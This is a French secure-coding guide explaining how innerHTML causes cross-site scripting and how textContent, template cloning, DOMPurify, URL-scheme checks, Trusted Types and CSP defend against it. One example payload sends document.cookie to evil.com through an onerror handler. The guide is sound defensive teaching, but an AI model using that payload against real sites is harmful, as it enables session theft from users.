Modèles ou `innerHTML` : sécurité

L'affectation de el.innerHTML = userInput analyse la chaîne comme du HTML. Si userInput contient <script> ou des gestionnaires d'événements comme onerror, le navigateur les exécute, ce qui crée une vulnérabilité de type Cross-Site Scripting (XSS).

Un attaquant envoie un nom d'utilisateur : <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Si ce contenu est rendu avec innerHTML, l'événement onerror se déclenche et exfiltre le cookie de session. Le contenu textuel devient du code exécutable.

el.textContent = userInput traite la chaîne comme du texte brut : aucune analyse HTML ni exécution de script. Le navigateur échappe automatiquement les caractères < et > dans les nœuds de texte. Utilisez toujours textContent pour les valeurs fournies par l'utilisateur.

Avec template.cloneNode(true), la structure provient d'un modèle HTML préalablement analysé, et non d'une chaîne fournie par l'utilisateur. Le fait de définir les valeurs via textContent sur les nœuds clonés conserve les données utilisateur dans des nœuds de texte, jamais dans du HTML analysé. La structure et les données sont séparées.

Si une mise en forme HTML fournie par les utilisateurs est nécessaire (texte enrichi), assainissez-la avant de définir innerHTML. DOMPurify est la bibliothèque de référence : el.innerHTML = DOMPurify.sanitize(richHtml). Elle supprime les balises et attributs dangereux tout en préservant la mise en forme sûre.

insertAdjacentHTML("beforeend", html) analyse également les chaînes HTML : le risque XSS est le même qu'avec innerHTML. Appliquez les mêmes règles d'assainissement. L'alternative plus sûre consiste à créer des éléments avec createElement, à définir leur textContent, puis à utiliser appendChild.

Définir des attributs avec des données utilisateur peut créer une injection : el.setAttribute("href", userUrl) où userUrl vaut javascript:alert(1) crée une vulnérabilité XSS. Validez les schémas d'URL : n'autorisez que http:, https: et mailto: avant de définir les attributs href ou src.

Le détournement du DOM est une attaque dans laquelle des éléments de formulaire nommés (id="getElementById") remplacent des variables JavaScript globales. Accédez toujours aux éléments via document.getElementById() plutôt que par les propriétés globales de window. La Content Security Policy contribue également à atténuer les attaques par détournement.

Trusted Types (Chrome, imposé via CSP) exige que innerHTML, insertAdjacentHTML et les points d'injection similaires reçoivent des chaînes enveloppées par une politique. Les chaînes brutes ne peuvent pas être affectées : seules les valeurs créées par une politique TrustedTypes déclarée sont autorisées. Cela empêche de contourner accidentellement l'assainissement.

La création d'éléments avec l'API DOM (createElement, createTextNode) et leur manipulation dans un DocumentFragment est intrinsèquement sûre contre les XSS : le texte reste toujours du texte et n'est jamais analysé comme du HTML. Les DocumentFragments constituent la manière la plus sûre de construire des interfaces dynamiques complexes.

Une CSP stricte (sans unsafe-inline et avec des scripts fondés sur des nonces) constitue une défense en profondeur contre les XSS. Même si un attaquant injecte du HTML, la CSP empêche les scripts injectés de s'exécuter. La CSP ne dispense pas de l'assainissement : c'est un filet de sécurité, et non une défense principale.

innerHTML et les API associées analysent les chaînes HTML, ce qui crée des vulnérabilités XSS lorsque des données utilisateur sont interpolées sans assainissement. L'utilisation de textContent, du clonage de templates avec remplissage via textContent, de DOMPurify pour le texte enrichi et de Content Security Policy crée une défense en couches contre les attaques par injection HTML.